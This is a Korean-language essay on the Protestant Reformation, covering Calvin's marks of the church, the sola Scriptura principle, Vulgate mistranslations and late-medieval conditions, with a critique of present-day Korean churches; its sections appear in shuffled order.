이미 살펴본 대로 루터는 “어떻게 내가 은혜스러운 하나님을 발견할 수 있는가?”하는 문제에 관심을 가지고 있었다면, 이제 다음세대의 종교개혁자들은 “어디에서 내가 참된 교회를 발견할 수 있는가?”하는 문제와 씨름해야 했고, 그 대표적인 인물이 존 칼빈이었다. 2세대 종교개혁자로 분류되는 칼빈은 프랑스 리용대학에서 법학을 공부한 후, 파리대학에서 신학을 공부하던 중 복음적인 개혁신앙에 눈을 뜨게 된다. 20대 중반에 이미 기독교강요초판(1536년)을 써서 그 명성을 유럽에 널리 떨치게 된 그가 제네바를 발판으로 참된 교회에 대한 신학적이고 제도적이며 역사적인 실체를 탐구하고 추구한 동기는 그를 도망자신세로 만든 파리대학총장의 취임연설문 사건(1536년 여름) 때문이었다. 이후 제네바에서 잠시 떠나있던 1538-41년 사이에 스트라스부르그에서의 목회경험을 토대로 그는 전체 신학과 목회적 과정을 제네바교회(사회)를 하나님의 진정한 교회로 확립하는데 헌신하는 것으로 일관했다. 그는 참된 교회의 표지(nota)는 하나님의 말씀이 선포되는 것과 성례가 바르게 시행되는 것이라고 보았다. 칼빈은 로마교회는 최소한의 이 기준에 맞지 않기 때문에 교회로 인정할 수 없으며, 개혁자들의 새로운 교회는 정당하다고 했다. 칼빈이 주장한 교회의 두 가지 표지는 매우 중요한 기준이 되었다. 왜냐하면 참된 교회는 이제 말씀이 바르게 선포되어지며 성례가 시행되는 곳에서 찾을 수 있기 때문이다. 루터가 교회를 역사적 연속성의 문제로 고심한 반면, 칼빈은 교회를 성경에 근거하여 내용적인 해석의 결과로 얻어낸 신학적 연속성의 문제로 루터의 문제를 극복했다. 칼빈은 스트라스부르그에서 다시 제네바로 돌아오던 1541년 교회의 직제와 당회의 제도를 조건부로 내세워 제네바시의회에 승낙을 얻는다. 그는 Ordonnances(1541년)를 통해 교회의 새로운 조직을 주장했는데, 이 중 가장 중요한 내용이 바로 당회(Consistoir)제도였다. 칼빈은 교회의 표지를 구체적으로 유지하고 감독할 제도로서 교회조직(church government)의 특별한 형태를 만들고자 했던 것이다. 이점에서 칼빈의 제네바교회를 장로교회의 기원으로 말하는 것은 잘못된 표현임을 알아야 한다. 원래 장로교회는 스코틀란드의 존 낙스(John Knox)가 제도화한 교회이다. 사람들이 칼빈이 당회를 만든 것에 착안해 당회의 구성원이 장로라는 점에서 장로교회의 기원으로 오해한 것이다. 칼빈은 교회의 직제에 대해서도 새로운 목회적 조직의 형태로 제시한다. 교회의 모든 직제에 대해서도 하나님께서 제정하신 바, 성경에 목사, 장로, 집사, 일반성도 등으로 구별되어 나타난다고 한다. 모든 직분은 서로 유기적인 조직을 이룬다. 이렇게 함으로써, 종교개혁의 결과로 초래된 새로운 교회의 존립과 제도적 확립은 사실 칼빈에 의해 신속하게 마무리되었고, 그가 살아있던 생전에 로마교회와 견주어 라이벌로 부상할 만큼 아주 강력한 교회로 제도화하는데 성공했다.
7. 한국교회의 현실과 종교개혁 정신의 계승
한국교회는 16세기 종교개혁을 막연하게 인정해왔다. 종교개혁은 개신교의 뿌리로서 피할 수 없는 조상이었던 것이다. 그러나 한국교회의 종교개혁에 대한 뿌리 찾기는 근본적으로는 실패한 듯 보인다. 한국교회가 겉으로는 종교개혁의 자랑스러운 후예라고 말하지만, 사실상 루터파와 개혁파조차도 구분 짓지 못하는 것이 현실이다. 장로교회의 기원이 종교개혁시대의 제네바에서 왔다고 하지만, 제네바와 스코틀란드를 구분하지 못한다.
최근 들어서는 그나마도 개혁이라는 말에 지레 겁을 먹는 모습이 16세기의 로마교회화 또는 1세기의 유대교화 된 한국교회의 모습을 보인다. 이점에서 한국교회가 진정 종교개혁의 정신을 계승하려 한다면, 현실적인 자기정체에 대한 분명한 반성이 필요하다고 본다. 120년 된 한국교회는 단순히 120년 된 기독교를 가지기보다, 개신교의 뿌리에서 시작된 교회로서 2000년 기독교회의 긴 역사적 복음을 가져야 하고 그것을 계승해야 할 것이기 때문이다. 따라서 이런 문제의식을 가지고 이제까지 살펴본 종교개혁의 정신에 비춰, 한국교회 역시 중세후기 로마교회의 상황처럼 여전히 종교개혁이 요구되는 현실임을 다음과 같은 몇 가지 지적을 통해 일깨우고자 한다.
첫째, 한국교회는 철저하게 개 교회 중심으로 성장해왔다. 개별적으로 성장한 대형교회를 중심으로 보이는 모습은 마치 중세를 연상시킨다. 목회자는 작은 교황과 같이 군림하며 예배를 인도하고 지역을 관할하는 는 이 그림은 새로운 돌파구를 찾기 위해 울부짖는 맹수의 포효함과도 같다.
둘째, 한국교회는 지나치게 물질적이고 양적인 대중주의신앙에 사로잡혀있다. 그 뿌리는 1974년 김준곤목사 주도의 엑스폴로74‘에서부터 본격적으로 시작되었다고 본다. 물량주의적 과시는 예배당건축에서부터 전도와 선교에 물들어 있다. 불행히도 이런 물량주의적 대중주의는 미신적 기복신앙을 만들 수밖에 없다.
셋째, 한국교회는 이념적으로 지나치게 취약하다. 해방과 한국전쟁과 군사독재를 지나면서 좌로나 우로나 치우치는 경향이 너무 짙다. 결과적으로 좌우의 이념적 편향성이 심할 뿐 아니라, 교회가 좌우대립의 정치적 희생의 대상이 될 때가 많다. 또한 이념적 편향성은 성경의 편향적 왜곡을 심화시켜왔다. 보수주의는 늘 복음서나 사도행전 위주로 설교하고, 자유주의는 출애굽기와 아모스 중심의 예언서설교를 하는 것이 그 실례다.
넷째, 한국교회는 세대교체의 과정에서 세습이라는 오점을 남겼다. 재벌그룹의 세습처럼 교회를 재산이나 왕권으로 이해하는 지극히 전근대적인 사고에 기인한 세습은 그 어떤 이유로도 정당화할 수 없다.
다섯째, 한국교회의 목회자들은 대체로 기독교복음과 신학에 있어 그 깊이가 약하다. 기독교회와 신앙의 역사적이고 성경적인 전수를 책임져야 하는 목회자들이 교육받는 신학교에서부터 시작된다. 결과적으로 그릇된 헌신이 복음의 이해에 앞선다. 얼마나 많은 목회자들이 복음에 헌신된 것보다 교단에 더 헌신되어 있는가.
여섯째, 한국교회는 지나치게 민주적이지 못하다. 목회자의 독재와 그에 대한 반작용으로 장로중심의 지나친 권력투쟁이 교회를 붕괴시키고 있다. 이점에서 교회정치제도를 근본적으로 개혁해야 할 것이다. 가령, 당회의 구성원을 장로만이 아닌 모든 성도들의 대의기구로 전환할 것이 모색되어야 할 것이다.
끝으로, 한국교회의 일반성도들 역시 지나치게 수동적이다. 일반성도들이 보다 균형 있는 성경의 이해가 요구될 뿐 아니라, 수동적인 신앙태도를 극복해야 할 것이다. 또한 일반성도의 지나친 대중주의성향과 파벌형성의식과 목회적 간섭도 배재되어야할 문제임이 분명하다. 목회자도 말씀으로 돌아가야 하듯이 일반성도들도 말씀으로 돌아가 거기서 함께 만나야 한다.
어떤 점에서 한국교회는 이미 다시 돌아올 수 없는 상황에 직면되었는지도 모른다. 비극은 이미 상연되었고, 거기에 당신들은 등장인물이다. 자, 어떻게 할 것인가? 한국교회가 종교개혁의 정신을 계승하기 위해 취해야 할 가장 중요한 태도를 든다면, 그것은 결국 종교개혁의 중심모토 <오직 성경으로!>로 다시 돌아가야 할 것이다. 시대와 상황을 초월하여 성경만이 기독교회와 신앙의 모든 삶의 원리를 제공하기 때문이다.
<참고문헌>
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2. " , Erasmus of Christendom (New York, 1969).
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8. H. A. Oberman, The Harvest of Medieval Theology (Cambridge, Mass., 1963).
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10. S. E. Ozment, The Age of Reform 1250-1550 (New Haven/London, 1973).
박삼영 목사(새길교회, 교회개혁실천연대 집행위원)
1. 서론
지난 세기까지 한국교회는 비교적 개혁이라는 용어를 자랑스럽게 사용했었다. 전통적으로 한국교회는 보수적인 신앙의 토양에서 부흥되고 발전되어왔기 때문에 개혁적인 면모를 보여주지 못했지만, (어찌된 영문인지) 종종 보수라는 자기 정체성의 뿌리를 16세기의 종교개혁신앙 또는 17세기의 청교도신앙에서 찾는 경향이 많았기 때문이다. 개혁신앙과 청교도신앙도 서로 양립될 수 없는 뿌리를 가지고 있지만, 명백하게 수구적인 신앙관을 견지하고 있는 한국교회가 스스로의 뿌리를 개혁신앙이라고 자랑하는 것은 이해할 수 없는 과욕임에 틀림없다. 하지만 최근 괄목할만한 성장을 이룬 한국교회는 점차 개혁신앙이라는 용어사용을 기피하는 야릇한 현상을 보인다. 이는 성장의 여유를 갖게 된 한국교회가 점차 개혁신앙의 가치들로부터 멀어져가는 현실 속에서 보이는 자연스러운 결과이며, 또한 이런 맥락에서 한국교회는 보수와 개혁이 서로 양립할 수 없다는 사실을 자각하여 보이는 현상이기도 하다. 우리는 지금 한국교회가 이제는 종교개혁이 주는 메시지에 심각한 부담을 느끼는 매우 불행한 현실을 경험하고 있다.
따라서 16세기의 종교개혁의 역사를 한국교회의 시각에서 재해석하고 객관적으로 이해하여 그 정신과 가치들을 계승하려는 시도는 여전히 의미 있는 일이라 여겨진다. 한국교회가 개신교의 뿌리와 함께 2천년 기독교복음의 연속성에 서 있기 위해서도 종교개혁의 정신을 계승하려는 시도는 의미 있는 일일 것이다. 이를 위해 다음과 같은 몇 가지 주제를 살피려 한다. 첫째, 종교개혁의 역사와 관련된 용어정의와 다양한 종교개혁의 분류, 둘째, 종교개혁의 출발과 관련된 중세후기의 분위기, 셋째, 종교개혁의 핵심모토와 개념들, 그리고 끝으로 한국교회의 종교개혁의 계승과 관련된 문제들을 반성해볼 것이다.
2. 용어정의
(1) 우리말 개혁과 한자어유래
우리말 개혁(改革)은 뭔가를 근본적으로 고치고 바꾼다는 뜻의 한자에서 왔다. 한자어 개(改)자는 고친다거나 바꾼다는 뜻이고, 혁(革)자는 뿔 달린 짐승의 가죽을 훌러덩 벗겨내어 무두질 한다는 뜻이다. 뿔 달린 짐승의 껍질인 가죽(皮)을 잘 가공하여 쓸모 있는 가죽으로 다듬어내는 것이 혁(革)이다. 소위 피(皮)가 혁(革)으로 바뀌는 과정은 뭔가 쓸모 있고 유용하게 만들어가는 근본적인 변화다.
(2) 용어 reform, reformation
영어로 개혁은 동사형으로 개혁하다(reform)가 사용된다. 명사형 reformation은 개혁이나 개선, 개편 등으로 해석되고, 앞에 정관사 the를 붙이고 r자를 대문자 R로 쓰면 16세기의 종교개혁이라는 뜻으로 쓰인다. 여기서 하나의 문제가 제기된다. 과연 16세기의 종교개혁을 주도했던 개혁자들이 그런 용어의 뜻을 헤아리며 사용하였는가, 하는 것이다. 적어도 종교개혁의 첫 세대 주자들인 루터나 쯔빙글리 뿐만 아니라, 그 이전 종교개혁의 샛별과 같은 후스나 위클리프 등도 스스로를 개혁자로 인식하지 않았음이 확인된다. 그들은 뚜렷한 목적을 가지고 피(皮)를 혁(革)하듯이 종교개혁에 투신한 것이 아니라, 다양하고 복잡하며 거대하게 흘러가는 담론들 속에서 따라 흘러들어왔을 것으로 보는 것이 더 적절해 보인다.
(3) 개혁자들의 용어사용 restitution, restoration, renovation, reformation
더구나 종교개혁에 참가했던 사람들이 우리가 알고 있는 개혁reformation이라는 단어만 사용하지 않았다는 사실을 아는 것도 중요하다. 이 사실 역시 그들이 스스로를 어떤 운동 목적을 가지고 종교개혁을 주도하지 않았다는 사실을 반증해주는 증거이다. 개혁자들은 종종 restitution, restoration, renovation, reformation 등의 단어를 번갈아가며 사용했다. 특히 종교개혁을 이미 과거에서 현재진행형으로 받아들였던 제 2세대 개혁자인 칼빈은 이 세 단어 중에 restoration을 가장 빈번하게 사용했다. Restoration은 우리말로 번역하면 회복쯤이 되겠다. 원래의 바른 상태로 되돌려놓는 일이라는 뜻이다. 이런 용어 사용을 통해 확인되는 사실은 종교개혁이 순전히 영적인 현상을 포함한 종교적 삶의 태도에 관한 것이라는 개혁자들의 본래 의도를 이해해야 한다는 점이다. 종교개혁은 어느 한순간 시도한 무력을 동원한 혁명적 운동이 아니었다. 잃어버린 복음과 복음의 삶의 실천을 되찾아 회복하자는 신앙운동의 긴 과정이었고 다양한 사건들의 종합이다. 16세기의 종교개혁은 매우 광대한 운동이었다. 오래 전부터 준비되어진 토양이 있었고, 여러 지역에서 함께 발생된 문제의식의 해결과정이었다.
3. 종교개혁의 분류
(1) 종교개혁분류 서론
종교개혁은 통일된 하나의 운동이 아니었다. 16세기의 종교개혁을 크게는 개신교종교개혁이라는 의미로 사용하고 이해하지만, 자세히 분류해보면 독일을 중심으로 한 루터파 종교개혁과 스위스를 중심으로 한 개혁파 종교개혁, 재세례파가 주도한 급진파 종교개혁, 로마교 자체적인 정화운동인 반발 종교개혁 등으로 나뉜다. 우리가 보통 16세기의 종교개혁이라 하면 주류적(mainstream,) 또는 관주도적(magisterial) 종교개혁을 의미하고, 앞의 두 가지 (곧 루터파와 개혁파)만을 지칭한다. 왜냐하면 개신교 종교개혁 중에서 급진파 종교개혁에 속한 재세례파 운동은 세속정부의 권위를 일체 부정하고 배제했다는 점에서 주류적 종교개혁과는 구분되며, 로마교 내에서 진행된 반발종교개혁도 독자적인 교리강화를 통해 관주도적 종교개혁을 정죄했다는 점에서 주류적 종교개혁과 구분되기 때문이다. 물론 루터파 종교개혁과 개혁파 종교개혁도 서로 연합하지 못한 채 로마교회로부터 프로테스탄트(개신?)교회로 함께 분리되었지만, 우리는 이 둘을 묶어서 주류적 종교개혁으로 칭하고 있기에 16세기의 종교개혁의 현상을 이해할 때 여기에 한정할 것이다.
<루터파종교개혁>
<개혁파종교개혁>
<재세례파종교개혁>
<반동종교개혁>
4. 종교개혁의 출발: 중세후기의 분위기
종교개혁이 일어난 이전시대를 흔히 중세후기시대라 부른다. 중세후기는 종교개혁을 준비한 다양한 운동이 전개되던 시기로 다양한 변화들은 크게 사회적 변화와 종교적 변화로 나눌 수 있다. 먼저 중세후기 유럽의 사회적 변화는 도시중심의 유럽사회 재편성과정과 인쇄술의 발명으로 인한 문서보급의 변화를 들 수 있다.
(1) 유럽사회의 변화: 제국도시들의 탄생
16세기에 접어들면서 유럽의 제국도시들이 탄생되었다. 제국의 도시들은 독립된 지배구조를 형성해갔고, 도시정부에 속하는 시의회는 독립을 누리게 된다. 농촌인구의 도시전입이 대거 늘어나면서 도시의 사회적 분위기는 변화요구로 더욱 팽창되는 분위기였다. 종교개혁이 각각의 도시별로 진행된 이유가 여기에 있다. 누렘부르그(Nuremberg)와 스트라스부르그(Strasbourg), 쮜리히(Zurich), 바젤(Basle), 제네바(Geneve) 등의 도시들이 대표적인 종교개혁을 수용한 16세기의 제국도시들이다.
(2) 인쇄술의 발명
구텐베르그의 인쇄술도 이 시기(1454년)에 발명되었다. 인쇄술은 이태리, 프랑스, 영국 등지로 급속하게 퍼져갔고, 종교개혁과 관련된 새로운 이념문서의 보급과 홍보도 신속하고 값싸게 확산될 수 있었다. 사실 종교개혁은 성경과 교부들의 특정문헌에 집중하는 운동으로서 누구나 자료에 쉽게 접근할 수 있게 된 인쇄술이야말로 종교개혁의 견인차역할을 했다고 말할 수 있다. 1490-1506년 사이에 여러 유사 문헌들을 통합해서 만든 어거스틴 전집(11권)이 바젤에서 인쇄되었고, 1505년 에라스무스에 의해 발견된 로렌조 발라의 헬라어신약주석이 바젤에서 인쇄되더니, 1516년에는 최초의 헬라어신약성경(Novum Instrumentum Omne)이 에라스무스에 의해 편집되어 바젤에서 인쇄되었다.
(3) 유럽사회의 종교적 변화
중세후기 유럽의 종교적 변화 또한 종교개혁의 이유를 설명하는 당시의 분위기를 잘 설명해주는데, 이는 다음 네 가지로 설명할 수 있다.
<교육기관의 발달> 일반성도의 새로운 경건운동의 고조와 교육기관의 발전이다. 이점에서 중세 후기는 쇠퇴하는 암흑기로 붕괴와 분열의 시대라기보다, 오히려 대중적 경건의 부흥기였다고도 볼 수 있다. 수도원출신의 경건운동(devotio moderna)은 결국 에라스무스(Erasmus)와 같은 전문사역자를 배출하기에 이른다. 에라스무스는 “그리스도군사의 병기”(Enchiridion Militus Christiani)라는 대표적인 교회불평문학을 출판하여 대중적인 경건을 촉진시키는데 공헌했다. 그는 이 책에서 알아듣지 못할 사변적인 내용으로 일관하는 엉터리 스콜라신학자들을 신랄하게 비판했다. 에라스무스와 같은 인물을 배출한 많은 수도원들은 고조된 일반성도들의 교육에의 관심에 의해 제도적인 교육기관의 발전으로 변화되었다.
<교리의 다양화> 교육의 발전으로 교회의 공식적인 가르침에 대한 다양한 신학적 견해가 난무하게 되었다. 인쇄술과 교육기관 발전의 영향으로 신학자료에 대한 불일치가 속출했고, 서로 다른 자료와 방법사용에 대한 학문적 다양성으로 교리에 대한 혼란이 가중되었다. 그 대표적인 예가 칭의교리이다. 도미니칸수도회와 프란치스칸수도회 등과 별도로 어거스틴수도회에서 각각 서로 다f른 칭의교리를 내세웠는데, 도미니칸수도회는 토마스 아퀴나스(Thomas Aquinas)를, 프란치스칸수도회은 둔스 스코투스(Duns Scotus)와 옥캄(William of Ockham)을 어거스틴수도회는 리미니의 그레고리(Gregory of Rimini)를 따랐기 때문이었다. 결과적으로 도미니칸수도회와 프란치스칸수도회는 펠라지우스(Pelagius)를 따라 인간 스스로 구원에 이르는 능력이 있다는 입장을 취하였고, 어거스틴수도회는 어거스틴의 입장을 취하여 인간은 스스로 구원할 아무런 능력이 없이 타락했다고 했다. 이전까지 교회가 교황의 이름으로 반포한 교리에 의존하여 이해했는데, 이제 점차로 무엇이 참된 교리인가에 대해 강요할 아무런 권한도 주장할 수 없게 되었다. 하나의 교리에 대해 다양한 견해가 유포될 수 있었던 이런 분위기야말로 종교개혁의 진정한 동기가 되었다고 볼 수 있다.
<권위의 붕괴> 권위의 붕괴 또는 위기의 분위기다. 교리에 대한 권위 있는 확인을 교회가 누구의 이름으로 해줄 수 있는가? 교황인가, 교회의 종교회의(공의회)인가? 물론 이런 권위의 위기는 일반성도들의 종교의식이 고조되면서 야기된 것이라 할 수 있겠으나, 그 근본적인 발단은 훨씬 이전의 교황의 아비뇽유폐사건이라는 세속정부와의 갈등에 기인한 것이다. 소위 보니파치우스 8세라는 교황이 반포했던 '거룩한 일치‘(Unam Sanctam, 1303년)은 아비뇽사건 이후에 우스갯거리가 되었고, 교황의 권위는 완전히 땅에 떨어졌다. 교황이 세 명이나 된 가공할 상황을 통해 과연 누가 진정한 교황인가에 관한 논쟁을 해결하기 위해 종교회의가 열렸지만, 그 후에도 교황청파와 종교회의파의 힘겨루기는 계속되었고, 중세를 지배했던 권위는 급속히 붕괴되어갔다.
<반사제주의의 팽창> 반사제주의가 팽배해졌다. 일반성도들의 신학적 자각과 경건운동으로 많은 유럽도시에서 반사제주의가 점점 증가추세에 있었다. 라틴지식수준이 향상되어 지식수준이 높아짐에 따라 신학교의 갱신이 요구되었고, 목회자들의 지적이고 신선한 설교가 요청되었다. 이런 상황에서 사제들은 자리를 지키기 위하여 더욱 노력해야 했음에도 불구하고, 엉터리 설교로 연명하는 사제들이 여전히 지배적이어서 점차로 코웃음 치는 분위기로 발전되었다. 더구나 경제적인 위기가 몰려오자 곧바로 반사제주의는 광범위하게 퍼져갔는데, 이는 사제들의 재정적인 지원을 대중이 맡고 있을 뿐 아니라 사제들은 세금까지도 감면받기 때문에 반감이 극대화되게 되었다.
살펴본 대로, 중세후기의 유럽풍경은 과거 기독교회의 첫 번째 500년 동안 누렸던 황금시대의 유산을 상실해버린 모습이었고, 이를 시급히 회복해야 할 시기로 비쳐졌다. 사실 위에서 열거한 많은 문제들은 보다 근본적인 질병의 외적 징후에 불과한 것들이다. 이것들은 오랫동안 진행되어온 기독교의 교리의 이탈과 교회의 윤리적 부패라는 과정이 도달한 상태의 지극히 복잡한 세상의 풍경들이라고 할 수 있다. 그러나 누가 이런 상태를 개혁할 수 있을까? 교황도 세속정부도 교회를 개혁할 능력은 점차로 상실해가고 있는 이 시점에, 기독교의 보다 순수하고 생생한 신앙과 삶의 회복을 위해 중세후기의 풍경을 전환할 진정한 개혁이 어떻게 가능하다는 것인가? 그러한 개혁을 위해 어떤 기준을 가질 수 있단 말인가? 16세기의 개혁자들은 부패한 교회의 활력과 순수성과 생명력을 회복하기 위해 르네상스 인문주의자들이 외쳤던 모토를 적극적으로 수용하였다. 그 모토는 이제 살피게 될 <근원으로!>(ad fontes)라는 슬로건이다.
5. 종교개혁의 핵심모토: ad fontes
(1) 스콜라신학의 한계상황
16세기 종교개혁자들이 <오직 성경만으로!>(sola Scriptura)라는 모토를 내세웠을 때(엄밀히 말해 쯔빙글리에 의해 1523년 제1차 쮜리히토론회에서 처음 사용된 슬로건이다.), 그것은 르네상스 인문주의자들의 모토였던 <근원으로!>(ad fontes) 되돌아가자는 슬로건을 따른 결과였다. Ad fontes는 '원래의 자료들로‘라는 의미를 가진 르네상스 인문주의자들의 문학적 추구원리였다. 종교개혁자들에게 있어서 고대의 원문을 직접 대해야 한다는 이 운동은 중세의 주석이라고 하는 필터(filter)를 제거하고 성경이나 교부들의 원문으로 되돌아감을 의미했다. 유럽의 종교개혁자들은 이점에서 르네상스 인문주의자들로부터 큰 빚을 진 셈이다. 그들은 중세후기의 메마른 형태의 기독교를 보다 새롭고 생명력 있는 역동적인 형태의 기독교로 변화시킬 수 있는 원리를 <근원으로!>라는 슬로건에서 발견했기 때문이다. 중세후기의 교회 상황에 절망하던 사람들에게 다시금 기독교의 황금시대였던 사도시대의 기독교가 실현될 수 있다는 기대감을 불어넣게 된 것이다.
(2) 르네상스 인문주의의 영향
종교개혁과 르네상스 인문주의 양쪽 모두에게 가장 큰 영향을 끼친 대표적인 인물을 든다면 로테르담의 에라스무스(Erasmus of Rotterdam)였다. 에라스무스는 실제로 <근원으로!> 되돌아가야 한다는 슬로건을 주장하여 교부들의 저술과 성경으로 되돌아감으로써 교회가 개혁될 수 있다고 주장했는데, 이러한 자신의 제안을 실천하기 위해서는 성경 그 자체부터 부정확한 번역에서 해방시켜야 된다는 사실까지도 인식하고 있었다. 이미 부정확한 라틴어 성경 불가타(Vulgata)번역이 아니라 헬라어원어로 신약을 읽는 것이 무엇보다도 우선이었다. 라틴성경의 부정확한 번역은 사실상 로마교의 그릇된 성례(Sacraments)제도를 공고히 하는 오류를 양산했었다. 에라스무스의 헬라어원문성경의 편집출판은 7개의 성사제도로 발전된 로마교회의 성례에 의문을 가지게 만들었다. 12세기말까지 로마교회는 예수께서 제정해주신 두 가지 성례(세례와 성만찬) 외에 5가지를 늘림으로써 기독교회의 초기전통을 떠나 중세의 성례신학을 만들어냈는데, 이는 철저히 라틴성경 불가타의 번역상의 실수에 기인된 사실을 알게 된 것이다. 예컨대 결혼이 성례의 목록에 포함된 것은 엡 5:31-2에서 ‘비밀’(mysterion)이라는 헬라어를 ‘성례’(sacramentum)이라는 라틴어로 번역한 근거 때문이었다. 그러나 실제 성경에서 결혼을 성례라고 언급한 곳은 단 한 곳도 없다. 고해성사도 마찬가지 라틴성경 불가타의 오역에서 정당화 되었던 성례였다. 마 4:17의 ‘회개하라’(repent)는 헬라어 Metanoeite를 라틴어 poenitentia의 모호한 의미 때문에 poeniteat(be penitent)로 번역하지 않고 paenitentiam이라는 ‘회개를 행하라’(do penance)로 번역한데서 성례화 되었던 것이다. 마리아숭배사상의 발단도 라틴성경 불가타의 오역에서 더욱 강화되었다. 중세후기에 마리아는 사람들이 필요할 때마다 따라 쓸 수 있는 은총의 저수지로 인식되었는데, 이는 눅 1:28의 ‘은혜를 받은 자여’라는 가브리엘천사의 인사말을 ‘은총이 가득한 자여’라는 라틴어 gratia plena로 번역하여 은총을 저장하는 장소(reservoir)의 이미지를 암시했던 것이다. 그저 은혜를 입은 자 또는 은혜를 발견한 자라는 gratificata나 gratiosa정도로 번역하면 될 것을 기도하면 나눠줄 수 있는 넘쳐나는 은총을 가진 대상으로 알도록 은총이 가득한 자라고 번역한 데서 마리아론신학이 융성하게 발전되었다. 이 얼마나 큰 아이러니인가? 에라스무스의 개혁프로그램은 이처럼 라틴번역을 극복할 수 있는 ad fontes의 적극적인 실천이었다고 말할 수 있다.
6. 종교개혁의 원천과 방법
(1) 전통과 성경해석에 대한 새로운 구분
중세후기의 성경해석의 궁극적 권위에 대한 논란은 소용돌이에 빠지게 된다. 성경은 해석될 필요가 있다. 만일 해석의 불일치가 생긴다면, 어떠해야 하는가? 중세시대에는 오직 교황만이 성경을 최종적으로 해석할 수 있다고 주장했지만, 중세후기에는 점차 성경해석에서 교회의 역할과 교회의 권위가 점차로 강조되게 되었다. 그리스도의 마음을 가진 선한 그리스도인들이 있음을 인정해야 한다. 루터는 <독일귀족에게 고함>에서 믿음도 성령도 갖지 못한 교황을 따라야 하느냐고 반문한다. 사실 성경은 많은 문제에 침묵한다. 사도신경을 누가 작성했는가? 성찬예식의 빵과 포도주의 변화시점은 언제인가? 유아세례는 어떤가? 이런 문제들에 대해 누가 성경해석의 최종권위를 가지는가? 교회인가? 교황인가? 종교회의인가? 아니면, 경건한 개인인가? 중세후기의 학자들은 하나님께서 이 부분을 보충하기 위해 전통이라는 계시의 제 2의 원천을 준비해주셨다고 했다. 중세에는 성경해석에 있어 기독교역사의 전통(연속성)에 의거해서, 즉 기독교회의 역사적 연속성이라는 맥락에서 해석되어야 한다고 생각해왔다. 그러나 14-5세기 후에는 전통에 대해 약간 다른 방식이 발달하게 되었다. 전통은 이제 성경에 더하여 성경과 분리되고 구별된 계시의 또 다른 원천으로 이해되었다. 하나님의 섭리로 성경이 침묵하고 있는 부분을 보충하기 위해 계시의 제 2의 원천을 준비하셨다는 것이다. 이 전통은 교회에서 교회로 전승된다.(traditor, hand over) 여기서 전통에 대한 새로운 구분이 필요한 상황이 발생된다. 전통 1과 전통 2의 구분이 전통에 대한 이해를 분명히 해준다. 전통 1은 주류적 종교개혁 노선이 붙든 원리이며, 전통 2는 트렌트 종교회의와 로마교가 붙든 원리다. 전통 1을 교리의 단일 근원이론이라고 할 수 있다면, 전통 2는 교리의 이중근원이론이라 말할 수 있다. 이것은 자연히 종교개혁시대의 성경을 대하는 두 부류의 입장이 되었다.
(2) 오직 성경의 원리
중세에서 성경이라고 말할 때, 이는 거의 예외 없이 제롬이 번역한 라틴어성경(textus vulgatus, 불가타 역본)을 의미했다. 원래 이 불가타는 4-5세기경에 제롬이 번역한 성경이다. 중세에는 많은 유사 불가타 역본들이 생산되어 있었다. 점점 이 불가타성경은 다양한 형태로 중세에 전수되었으며 각각의 형태 사이에 큰 차이가 있었다. 11세기 이후 대학이 생겨나고 지성의 발전이 새로운 시대로 꽃피웠을 때, 불가타성경의 표준판이 요구되었다. 이에 부응하여 파리대학의 신학자들 중심으로 파리판(Paris version)을 출간하기에 이른다.(1226년) 당시 파리대학이 유럽의 신학의 주도적 중심지였다. 그러나 이 파리판 불가타는 원본의 불가타와 더 큰 불일치를 보였다. 이런 운동은 중세의 국역판 번역으로 이어졌다. 그러나 이런 국역판들은 원본에서 번역된 것이 아니라 단지 불가타 번역판이었을 뿐이다. (예, J. Wycliffe의 영어성경번역본)
인문주의자들은 근원으로 돌아가야 한다는 필요성을 강조했기 때문에 중세의 주석가들보다 성경이 우선한다는 원칙을 확립하였다. 성경도 라틴 번역본이 아니라 원어로 직접 읽혀야 한다고 주장했다. 구약은 히브리어로 신약은 헬라어로 읽혀야만 했다. 원어로 된 성경을 사용하는 능력은 인문주의자들의 특징이었는데, 이들이 불가타의 오류를 밝혀내고 원어성경을 인쇄하기에 이른다. 그것이 에라스무스의 <Novum Instrumentum Omne, 1516>이다. 이들은 더 나아가 성경의 사본들 중에서 최상의 사본을 정확히 결정할 수 있는 본문비평을 발전시켰다. 에라스무스의 요한일서 5:7의 경우, 후대의 첨가로 확인하고 삭제했다.
종교개혁자들은 기독교의 기반은 기록된 하나님의 말씀, 즉 성경이라고 천명했다. 문제는 무엇이 정경인가를 확정하는 것이었다. 그들은 성경의 정경(자, 규범, canon, rule, norm, authentic)을 명확히 했다. 중세는 불가타에 포함된 것만이 성경이었는데, 종교개혁자들은 율법과 선지자들의 글, 사도의 글을 제외한 불가타를 거절했다. 이들은 구약과 외경을 구별했다. 구약은 히브리어로 기록된 성경에서 발견된 반면, 외경은 헬라어나 라틴어로 기록된 성경에서는 발견되지만 히브리어 성경에서는 발견되지 않는 것들이다. 즉 개혁자들은 오직성경으로만이라는 슬로건으로 로마교와 비교해서 두 가지 구별을 만들었다. 성경 그 자체에 전혀 다른 지위와 권위를 부여했을 뿐 아니라 실제로 무엇이 성경인가에 대해서도 다른 의견을 내놓았다. 로마교의 관습; 죽은 자들을 위한 기도, 이에 대해 개혁자들은 비성경적 토대에 근거한 것이라고 규정하고, 통속적인 미신과 대중에 대한 교회의 착취를 조장하는 것이라고 보았다. 로마교는 죽은 자를 위한 기도가 메카비2서 12:40-46에 언급되었다고 지적하였으나, 개혁자들은 이 책이 성경이 아닌 외경이라고 선언했기 때문에 비성경적 관습이라고 지적했다.
(3) 성경의 권위
종교개혁자들은 에라스무스를 통해 교부들의 저술과 무엇보다도 신약성경원문에 쉽게 접근할 수 있었다. 종교개혁자들은 교황이나 공의회나 개별신학자들의 권위는 모두 성경의 권위 아래 종속되어야 한다는 사실을 천명했다. 모든 권위는 성경으로부터 도출되고 성경에 종속되어야 한다. 따라서 <오직 성경만으로!>의 원리는 교회 내에서의 권위의 문제에 대해서도 기준을 마련해주었다. 성경은 하나님의 말씀이다. 성경저자는 성령의 비서다. 성경의 권위는 절대적이고 자족적이다. 성경으로 교회에 대한 판단을 내릴 수 있고, 성경에 근거하여 부정확하고 부적합한 형태의 잘못된 복음에 대해 도전하고 개혁할 수 있어야 한다.
